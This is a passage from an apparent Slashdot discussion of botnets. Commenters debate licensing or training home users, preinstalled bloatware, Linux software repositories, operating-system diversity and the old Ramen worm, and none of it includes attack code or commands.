    Or at least require ISPs to provide minimal security training to their broadband customers. As has been said: Most infection is self inflicted through ignorance. Some people might welcome the chance to learn. I know I did not want to scuba dive without some training. A lot of parents would be motivated to learn about filtering software etc. A license should be grandfathered in of course. This problem will worsen in direct proportion to bandwidth. And certainly there should be citizens' band speeds. (TBD)

    People might grumble, but if it is sold as a community responsibility a license track might fly. Most (well, many) people are motivated by a sense of community responsibility. I had a young friend whose computer was a viral soup. Infected beyond redemption. Ruined. I reinstalled Windows for her, which cleaned up the mess, but she was resistant to the idea of anti-virus software because she claimed she did not do anything serious with the computer and did not want to hassle. Her current mess had taken years to build. And, she asked, couldn't she just redo the box again when it tanked? But I pointed out to her that it wasn't just her that suffered, it was the whole community that suffered when she left her computer vulnerable. (I explained a little about bots) The idea that she could be hurting others through inaction really upset her (she had never thought it through) and so we were downloading Zonealarm, AVG and AdAware in no time. In the end she bought a subscription to a suite. McAfee I think.

    Before anyone starts screaming about rights and freedoms being taken away, please think about this: A license is a way that a civil society makes its members accountable, from food vendors to electricians. I am less free because of all the bots out there. If people can't get on the highway without demonstrating some knowledge, Why should they get on the information highway in a state of ignorance, especially now that we are banking and shopping there?

    --
    "No fear. No envy. No meanness." Liam Clancy
  57. Re:Request by iminplaya · · Score: 2, Funny

    Won't that install the WGA virus?

    --
    What?
  58. Re:How to stop the bots by TapeCutter · · Score: 3, Insightful

    I agree! Not only that, joe sixpack buys his PC at the department store pre-laden with free trials and nag screens for firewalls, virus scanners, extended warrantees, computer courses, ect, until the thing boot's up at the same speed as the space shuttle. When it does finally boot-up, shit pops up all over the place asking the to sign forms, ect. If they RTFM (and are lucky enough to have picked the correct one from the 10 available), it looks nothing like it. Yet these same people buy self-assembled furniture, pre-fab garden sheds, plug-n-play home theaters, and other such "puzzles" from the same store and have no on going problems.

    I can't count the number of people I have helped just sign up for the "pre-installed" ISP and get them on the net in the first place. They aren't "content", they complain to the store, then to the ISP, then just leave it in a corner until someone like me "fixes it" and shows them around the net. Sometimes they live with adware because they don't know how to clean it off but this doesn't mean they are not fucked off that they can't trust the thing to do their banking (as adevertised).

    Blaming average users because someone is screwing them over is arrogance of the highest order, it's amounts to condeming the victims - a very ugly attitude in my books.

    --
    And did you exchange a walk on part in the war for a lead role in a cage? - Pink Floyd.
  59. Re:Just install linux by dbcad7 · · Score: 2, Informative
    This is what makes repositories the best way to install software. What are the chances a script like that would make it past "testing" and into "stable" ?

    I'm sure you probably conviced some people that "lamers" are in grave danger on Linux, but I suspect that the majority install stuff through repos anyway. Those that dabble around and even know how to run a script in Linux probably have a little more brains than you give them credit for.

    I don't know why Microsoft, or another third party group, doesn't create a repository like download center.. where you know that what your getting has been tested and shown not to have crap in it. Sounds like a better system to me.

    --
    waiting for ad.doubleclick.net
  60. Re:Request by wordsnyc · · Score: 2, Interesting

    This is the ONLY method that will ever put a dent in this crap. Hold the user reponsible. In NY State, every motor vehicle has to pass an inspection, including pollution abatement. Fail, and you're not getting registered until it's fixed. Why not apply the same standard to net pollution? I sure as hell don't know how to fix my catalytic converter, but it's up to me to pay someone who does.

    --
    Sent from the iPad I found in your car.
  61. Diversify Now. by twitter · · Score: 3, Insightful

    it's only a matter of time until the cost/benefit of launching a reasonably successful large-scale attack against the OS arrives.

    It's only a matter of time before some descendent of pigs evolve wings too.

    You have to make decisions based on what you see and know, not speculation. Right now, and for the forseeable future, your best protection from trojans, worms and spyware is to install or purchase any OS besides Windoze.

    It's not just a solution, it's the solution. A diverse population of computers will make botnets both expensive and small.

    --

    Friends don't help friends install M$ junk.

  62. Ramen worm is a great example of why free wins. by twitter · · Score: 2, Insightful

    Like the ramen worm that effected most Redhat systems and then disabled the exploits it used?

    Thanks for the link, it's a great example of how free software rocks. Six years ago, Ramen ate through a few poorly maintained Red Hat 6.0 and 7.0 servers running WUFTP. It did not eat through Debian, Mandrake and other distributions because there are lots of ftp servers to chose from. It has not been heard from since. A diversity of software limits the damage any one flaw can cause. Automated update tools insure the problems are fixed quickly. If something goes wrong, the user can download and burn a CD with all new software and then install it without loss of user data.

    The Windoze user, on the other hand, is left with their ageing "original" CD to put all the flawed software back with tremendous hassle and loss. That's the problem with non free software - you depend on a single "owner" that can't possibly keep up for everything.

    The only short term solution for the user is to leave Windoze. The only long term solution for the internet as a whole is to diversify. The two things are the same.

    --

    Friends don't help friends install M$ junk.

  63. Re:Can we please be specific when reporting this? by toddestan · · Score: 2, Insightful

    There are plenty of rooted Linux boxes out there, and there have been reports of Macs as being part of bot nets. Granted, the problem is still 99% Windows, but is not all unique to Windows.

  64. What about "Windows malicious software removal"? by Joce640k · · Score: 2, Funny

    What about "Windows malicious software removal"?

    Surely these botnets should be dying in their millions every Patch Tuesday....

    What happened to that?

    --
    No sig today...